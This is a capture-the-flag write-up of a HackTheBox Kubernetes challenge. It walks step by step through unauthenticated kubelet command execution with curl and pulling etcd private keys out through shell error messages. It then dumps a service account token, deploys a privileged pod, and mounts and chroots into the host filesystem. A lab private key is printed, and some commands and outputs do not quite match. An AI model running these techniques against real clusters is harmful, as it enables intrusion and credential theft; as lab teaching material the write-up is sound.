This challenge is a very interesting one on Kubernetes. Even if it is not that hard, it made me practice and learn more about the inner workings of Kubernetes, its various components and how to exploit them.

Challenge info :

We've installed our Kubernetes cluster inside a steam powered computer, however 
there's a lot of smoke, therefore we think a bolt is missing. Could you please 
investigate?

Recon

The cloud is a category who is beginning to be more and more popular in CTFs. I really didn’t know what to expect, but the challenge info give us straight away that we’re dealing with a Kubernetes cluster. We first need to enumerate all the possible entrypoints, we’re using nmap :

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-20 15:35 CET
Nmap scan report for 10.129.227.147
Host is up (0.060s latency).

PORT      STATE SERVICE          VERSION
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.227.147, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:28:56
|_Not valid after:  2022-11-20T14:28:56
| tls-alpn:
|_  h2
|_ssl-date: TLS randomness does not represent time
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.227.147, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:28:56
|_Not valid after:  2022-11-20T14:28:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 97a48952-2cb6-456b-bca3-b27cdec71468
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: deeda418-0ef4-4656-a459-255371526099
|     X-Kubernetes-Pf-Prioritylevel-Uid: bc080613-489e-4eac-973d-eb9f9cd01670
|     Date: Sat, 20 Nov 2021 14:36:10 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: aa260846-a0ee-4004-9d29-80fba7d033d0
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: deeda418-0ef4-4656-a459-255371526099
|     X-Kubernetes-Pf-Prioritylevel-Uid: bc080613-489e-4eac-973d-eb9f9cd01670
|     Date: Sat, 20 Nov 2021 14:36:09 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.227.147, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-19T14:28:54
|_Not valid after:  2024-11-19T14:28:54
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=steamcloud@1637418538
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-20T13:28:58
|_Not valid after:  2022-11-20T13:28:58
|_ssl-date: TLS randomness does not represent time
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.36 seconds

We got a lot of information :

  • We have an etcd server out in the open (!) on port 2379 which can allow us to dump all the k8s secrets if we’re able to access the correct keys.
  • The standard minikube api is available on 8443, and also the kubelet component on its standard port 10250.
  • There are other ports opened, either ssl / no ssl versions of ports listed above, or just read-only api we won’t really look into.

In order to simplify our work, and according to the nmap scan, we put steamcloud in our /etc/hosts.

Let’s dive !

Etcd server - 2379

There is not a lot of things to try here without the right keys, but we can try to authenticate anonymously :

etcdctl --endpoints=https://steamcloud:2379 get / --prefix --keys-only

No success here, so let’s move on.

k8s API - 8443

This API can allow us to fully interact with the cluster, but as the nmap scan showed we are not allowed to interact with it anonymously.

If we’re able to access valid credentials, we’ll able to use kubectl here to control the cluster.

Kubelet - 10250

After a quick google search we found out that this API allows us to fully interact with the kubelet, and along with it, all the containers in the cluster. We can start by enumerating all the cluster content by visiting the /pods endpoint.

We end up with a huge lot of information, so let’s focus on the containers available. There are seven of them, and at first glance there is no custom container available, only the standard system ones, along with a nginx.

We also see that the etcd-steamcloud pod have all the etcd keys mounted within. If we can access it, it’s probable we can root the cluster.

Shell on containers

Trying to execute something

We quickly find a way (thanks to this github repo) to execute commands inside the containers. We use the /pods endpoint to get the namespaces / pods / containers names and we try the example from the repo. Sadly, it doesn’t work immediately on the first containers (with this error : command 'env' exited with 126: ), but we successfully get RCE on the nginx container :

[11:38|mh4ck@archlinux]:SteamCloud$ curl -k -XPOST "https://steamcloud:10250/run/default/nginx/nginx" -d "cmd=env"
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=nginx
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
NGINX_VERSION=1.14.2-1~stretch
NJS_VERSION=1.14.2.0.2.6-1~stretch
HOME=/root
[11:39|mh4ck@archlinux]:SteamCloud$

We can use this to enumerate the container and try to see what we have inside, and also try to contact other pods from the inside. But the lack of available commands (we can list them with compgen -c) make this quite painful.

As the nginx container doesn’t have the etcd keys inside, I go back to the other containers to think about why I can’t achieve RCE on them.

Googling a little on the 126 error code, we see it happens when the command is “not executable”. Weird… Maybe we’re not using a good shell. What about testing sh ?

[11:55|mh4ck@archlinux]:SteamCloud$ curl -k -XPOST "https://steamcloud:10250/run/kube-system/etcd-steamcloud/etcd" -d "cmd=sh"
[11:55|mh4ck@archlinux]:UniCTF2021$

Nothing ? It may be because the execution succeeded but returned nothing ! Trying something that should fail :

[11:57|mh4ck@archlinux]:SteamCloud$ curl -k -XPOST "https://steamcloud:10250/run/kube-system/etcd-steamcloud/etcd" -d "cmd=sh nothing"
command 'sh nothing' exited with 127: sh: nothing: No such file or directory
[11:57|mh4ck@archlinux]:UniCTF2021$

Success !

Get access to the etcd

Now we want to access the etcd keys in order to be able to dump all the cluster secrets. Using this blog post, we learn that there are three keys needed in order to authenticate ourselves to the etcd daemon : the private key, the server certificate and the CA certificate. Looking at the options and mounted volumes, we identify the three keys we need to dump :

  • /var/lib/minikube/certs/etcd/server.key (server private key)
  • /var/lib/minikube/certs/etcd/server.crt (server certificate)
  • /var/lib/minikube/certs/etcd/ca.crt (CA certificate)

Looking around, we see that there are not a lot of commands available : in fact, I failed in executing everything except sh. However, it is possible to try and execute a text file and see its contents in the error message :

[14:27|mh4ck@archlinux]:SteamCloud$ curl -k -XPOST "https://steamcloud:10250/run/kube-system/etcd-steamcloud/etcd" -d "cmd=sh /var/lib/minikube/certs/etcd/server.key"
command 'sh /var/lib/minikube/certs/etcd/server.key' exited with 127: /var/lib/minikube/certs/etcd/server.key: line 1: -----BEGIN: command not found
/var/lib/minikube/certs/etcd/server.key: line 2: MIIEowIBAAKCAQEAvW+ytBM8QTifPPBRZMXMY8UwTKXYL6XPy7QuTuAJCZQGyuHD: command not found
/var/lib/minikube/certs/etcd/server.key: line 3: i/+kT/qa6gm0e4F8hz9i1XJrci3WMEb919rIwmHXliaen5MvFw2QyKmWTKpu6mNY: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 4: TaKfP0eUJqIe+yBanenMeab3RdiV3YE3p9VLa1nxXmW3APteCWMF58rcKy6nP1PL: command not found
/var/lib/minikube/certs/etcd/server.key: line 5: NIroKb2OAsufiWHX+guZqFo101g7HxtS4pqo1Sr7iKOujF/5AbcGBgZVXQUkZDDS: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 6: 9DJ/uULGoejEub+yGL9SvwZ0LMIPK01iGA0QHFmRv/ACn0Njoqhbs6j1fteco76F: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 7: z6AGrtwXWt2sJkw998TdQZlgKjka1spsNdIpiQIDAQABAoIBAD6K0yAavaj2zbPr: command not found
/var/lib/minikube/certs/etcd/server.key: line 8: z6OKnklOP/z+QBqzDqC9UxCdbL5pzbhLwyjEdPYm0eB05c5k2L06UyIPTaP7uBxm: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 9: Q8ZxKBjs/qVHCNW8XS6qPuPRAZs8JbRiqjOvfg4BTstWeQ4GB4TdPLHpSvgXYpsn: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 10: 3z0c8XJ21naI9FtxogFNXRTC59+lTOrePzRR1ouKQfoU5MqPAK980kJmy2fWy7ND: command not found
/var/lib/minikube/certs/etcd/server.key: line 11: Imke8LFoj6g3wS3fq23nZ1pJjR3yUha5jfX65nYdktbu2qKNzr72Xsi5NTibGk1j: command not found
/var/lib/minikube/certs/etcd/server.key: line 12: rz13S/PFk5VVfmnH2zoem610KCSZ/hjgVV7RqUOfC2r1cAqCRazJP75diFZVBsoi: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 13: yPnTWeUCgYEA5iPgUp1lE9ItIs0DV0uONAyzHUL5ms/yfBJCkr/Q1iY0K0OQhtnc: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 14: M3sEnrx/koeMYFeJUnuVIwsIPZbIsA5/sb2ydcgeUAXl16PVV9bgqSzcJpI4IQWz: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 15: qoToWaqqu09v+m/ODXBIqbwJfcxmyl1EsoPkhHYlHWdAQvQf7MaY0kcCgYEA0rjz: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 16: f/FmCoOvuxrR1/dcOKT0OmKMidmYFVNORAUBDhXxdwPUodziq0zy6wYTX+p6vcQt: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 17: oN8dBQUqrnj8NmVeD9iO7kXh+kUrPbwkrdkewV0OU+UkdnMkHWCZtiWIZrvkNkDI: command not found
/var/lib/minikube/certs/etcd/server.key: line 18: iSLPfPkpJbyxLRsT6xw9nuzT6SyoxwwR23EEva8CgYAqPbmF0GfmDHTGZ3TOiAqw: command not found
/var/lib/minikube/certs/etcd/server.key: line 19: 2QfjPhDMbpCmXz+i6dwuAlMfAca8Sa6WMGU3sYeE4KZOZKLK5e4IwZSgoVVyoyai: command not found
/var/lib/minikube/certs/etcd/server.key: line 20: /BuObM3LiFmYi/Szq7gOtTIvTjVJMl+4065GDwJJYRo/kFf0tYBQzze6xFK1oArk: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 21: 7Tp7aagETphH8cEOV6FjLwKBgQCIprAiFGXcA7H+YFIc/6iqgy5ufmItMxLRIYjr: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 22: y2L3w3sndzB5F0lXVTti9jmyRdj7HzGH1ah4DPW013iXvfzVwdZO5rq5FgoIqu4O: command not found
/var/lib/minikube/certs/etcd/server.key: line 23: X3L2amZUOZD/z4NoGbEU0ho2pTpFhJWHeS+dF+d7NXagjaLJITNE0MhLuk5pZoZe: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 24: DFjKuQKBgBnCaOH5uBTEpOnClNyeEfpn1bfMER5YedymLnRQv6aqC6kInpI/3pyA: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 25: hNHxRx9QOpkBO3xItocYN8HQgPzLtg+eXe78ABKTw/AB6lIr85OuNh9vg/S87QSD: No such file or directory
/var/lib/minikube/certs/etcd/server.key: line 26: I27enOCB+6SgWfCeOjOhQ4TVtDSXQDquMeuRnasQ3ZRTYTzqd0NI: command not found
/var/lib/minikube/certs/etcd/server.key: line 27: -----END: command not found
[14:29|mh4ck@archlinux]:SteamCloud$

Success ! We don’t have the whole file, as the delimiters were cut at the first space, but we have the whole data and that’s what matter. The headers are standard, so we can easily reconstruct them. We just have to copy the base64 data line by line in a text file, and replace the delimiters by the following :

-----BEGIN PRIVATE KEY-----
-----END PRIVATE KEY-----

for the private key and

-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

for the certificates.

Repeating this for the two other files, we can try and authenticate to the etcd (the auger tool is available here) :

[21:39|mh4ck@archlinux]:SteamCloud$ etcdctl --endpoints=https://steamcloud:2379 --cacert=server.crt --cert=server.crt --key=server.key get /registry/serviceaccounts/kube-system/default | auger decode -o json | jq -r '.secrets[].name'
default-token-dftwk
[21:39|mh4ck@archlinux]:SteamCloud$

It works ! We can continue to follow the guidelines of the article to dump the needed secret :

[22:06|mh4ck@archlinux]:SteamCloud$ etcdctl --endpoints=https://steamcloud:2379 --cacert=ca.crt --cert=server.crt --key=server.key get /registry/secrets/kube-system/default-token-dftwk | auger decode  -o json | jq -r '.data.token' | base64 --decode > do_kube-system_default_token
[22:08|mh4ck@archlinux]:SteamCloud$

Shell on the host

Now we can try to interact with the cluster api using kubectl :

[22:26|mh4ck@archlinux]:SteamCloud$ kubectl get nodes --server https://steamcloud:8443 --token `cat do_kube-system_default_token` --insecure-skip-tls-verify
NAME         STATUS   ROLES                  AGE     VERSION
steamcloud   Ready    control-plane,master   7h38m   v1.22.3
[22:38|mh4ck@archlinux]:SteamCloud$

Yay ! Unlike the blog post example, we directly have permissions on the cluster. Let’s deploy a malicious container in order to be able to access the host (yaml and privilege escalation inspired from here) with the following yaml :

apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 1 # tells deployment to run 2 pods matching the template
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        ports:
        - containerPort: 80
        securityContext:
          privileged: true

Deploying with kubectl :

[04:04|mh4ck@archlinux]:SteamCloud$ kubectl apply -f attacker.yaml --server https://steamcloud:8443 --token `cat do_kube-system_default_token` --insecure-skip-tls-verify
pod/attacker-pod created
[04:05|mh4ck@archlinux]:SteamCloud$

Let’s get the name of our new pod, and then launch a shell inside it :

[15:48|mh4ck@archlinux]:SteamCloud$ kubectl get pods --server https://steamcloud:8443 --token `cat do_kube-system_default_token` --insecure-skip-tls-verify
NAME                                READY   STATUS    RESTARTS   AGE
nginx                               1/1     Running   0          81m
nginx-deployment-645bf95774-2z625   1/1     Running   0          4m50s
[15:48|mh4ck@archlinux]:SteamCloud$ kubectl --server https://steamcloud:8443 --token `cat do_kube-system_default_token` --insecure-skip-tls-verify exec -it nginx-deployment-645bf95774-2z625 -- bash
root@nginx-deployment-645bf95774-2z625:/#

Success ! We’re root inside a privileged container, meaning we can access the host machine with root privileges. The following is just about accessing the host filesystem, and then looking for the flag :

[15:55|mh4ck@archlinux]:SteamCloud$ kubectl --server https://steamcloud:8443 --token `cat do_kube-system_default_token` --insecure-skip-tls-verify exec -it nginx-deployment-645bf95774-2z625 -- bash
root@nginx-deployment-645bf95774-2z625:/# df
Filesystem     1K-blocks    Used Available Use% Mounted on
overlay          9269724 3363376   5795124  37% /
tmpfs              65536       0     65536   0% /dev
tmpfs            2020732       0   2020732   0% /sys/fs/cgroup
/dev/sda1        9269724 3363376   5795124  37% /etc/hosts
shm                65536       0     65536   0% /dev/shm
tmpfs            4041468      12   4041456   1% /run/secrets/kubernetes.io/serviceaccount
root@nginx-deployment-645bf95774-2z625:/# mkdir /mnt/host-fs
root@nginx-deployment-645bf95774-2z625:/# mount /dev/sda1 /mnt/host-fs/
root@nginx-deployment-645bf95774-2z625:/# chroot /mnt/host-fs/
# find / -name flag.txt 2>/dev/null
/root/flag.txt
# cat /root/flag.txt
HTB{dOn7_3Xpo53_Ku83L37}
#

Flag : HTB{dOn7_3Xpo53_Ku83L37}